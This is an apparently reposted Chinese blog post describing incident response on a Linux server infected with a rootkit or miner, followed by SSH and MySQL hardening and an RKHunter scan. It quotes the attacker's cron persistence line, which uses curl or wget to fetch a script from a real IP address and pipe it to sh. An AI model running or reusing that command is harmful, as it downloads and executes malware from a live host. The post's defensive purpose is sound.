码迷,mamicode.com
首页 > 其他好文 > 详细

服务器遭***rootkit不慌

时间:2019-08-29 00:11:32      阅读:105      评论:0      收藏:0      [点我收藏+]

标签:文件   服务   目的   系统   int   info   ***   crontab   init   

1.介绍:rootkit是linux最常见的***后门工具,主要通过替换系统文件达到特殊目的。主要有两种类型:文件级别和内核级别。
2.现象及处理思路:(进程;计划任务;可疑文件)
通过top,查看一条占用cpu将近300%的一条进程,进程名为vTtHH1,随后杀掉进程及进程的执行文件,过一会进程文件又出现,进程自动运行起来。
怀疑有计划任务。检查/var/spool/cron/及/etc/crontab中没有发现任务。
在/var/spool/cron/crontab/root发现一条语句:
/bin/sh -c (/usr/bin/uwdrfa2||/usr/libexec/uwdrfa2||/usr/local/bin/uwdrfa2||/tmp/uwdrfa2||curl -m180 -fsSL http://104.128.230.16:8000/i.sh||wget -q -T180 -O- http://104.128.230.16:8000/i.sh) | sh

然后通过ps -ef 来查看是否有不正常进程。发现了一个莫名的进程/usr/bin/uwdrfa2,果不其然是因为这个进程为父进程,随后把这个进程及进程的执行文件杀掉,再没有出现vTtHH1进程。
查杀病毒文件:继续查找系统可疑文件,系统的启动文件rc.local,在/etc/init.d/目录查看,发现奇怪的DbSecuritySpt,selinux.这两个文件在正常的系统下是没有的,初步判断是异常文件。
查找更多的可疑文件,然后删除。(删除不掉处理,通过lsattr 查看文件加权处理,因此通过chattr -i 来取消加权)
rm -rf /usr/bin/bsd-port
rm -f /etc/rc.d/init.d/DbSecuritySpt
rm -f /etc/rc.d/init.d/selinux
rm -f /etc/rc.d/rc1.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc2.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc3.d/S97DbSecuritySpt
rm -f /etc/rc.d/rc1.d/S99selinux
rm -f /etc/rc.d/rc2.d/S99selinux
rm -f /etc/rc.d/rc3.d/S99selinux
3.安全加固
3.1 应用层面
阿里云的安全组加防火墙限制,限制去向104.128.230.16的8000端口.
这个案例这台服务器有mysql,防火墙测策略没有限制ip连接3306端口。而mysql又以root启动。这个后期都得修改,把mysql的监听地址改为本地监听,防火墙限制连接3306端口。
改变mysql的启动用户为mysql,防止提权。
3.2 系统层面
修改远程连接的端口地址,修改root密码。
它将进程的内存空间地址随机化来增大预测目的地址难度,从而降低进程被成功进入的风险
执行命令: sysctl -w kernel.randomize_va_space=2
确保SSH LogLevel设置为INFO,记录登录和注销活动
编辑 /etc/ssh/sshd_config 文件以按如下方式设置参数(取消注释): LogLevel INFO
设置SSH空闲超时退出时间,可降低未授权用户访问其他用户ssh会话的风险
编辑/etc/ssh/sshd_config,将ClientAliveInterval 设置为300到900,即5-15分钟,将ClientAliveCountMax设置为0-3。 ClientAliveCountMax 2
SSHD强制使用V2安全协议
编辑 /etc/ssh/sshd_config 文件以按如下方式设置参数: Protocol 2
设置较低的Max AuthTrimes参数将降低SSH服务器被暴力破解成功的风险。
在/etc/ssh/sshd_config中取消MaxAuthTries注释符号#,设置最大密码尝试失败次数3-6,建议为4:MaxAuthTries 4
强制用户不重用最近使用的密码,降低密码猜测风险
在/etc/pam.d/password-auth和/etc/pam.d/system-auth中password sufficient pam_unix.so 这行的末尾配置remember参数为5-24之间,原来的内容不用更改, 只在末尾加了remember=5,不能重用最近的5个密码。

4.看是否rootkit,使用检测工具RKHunter
1,安装RKHunter,
yum install epel-release
yum install rkhunter
rkhunter命令的参数较多
rkhunter --help
常用的几个参数选项:
-c, --check Check the local system
--configfile <file> Use the specified configuration file
--cronjob Run as a cron job
--sk, --skip-keypress Don‘t wait for a keypress after each test
技术图片
绿色表示没有问题,红色,要引起关注了。
程序自动运行检测:rkhunter --check --skip-keypress
rkhunter拥有并维护着一个包含rootkit特征的数据库,然后根据此数据库来检测系统中的rootkits.对此数据库进程升级,rkhunter --update

服务器遭***rootkit不慌

标签:文件   服务   目的   系统   int   info   ***   crontab   init   

原文地址:https://blog.51cto.com/12191723/2433424

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!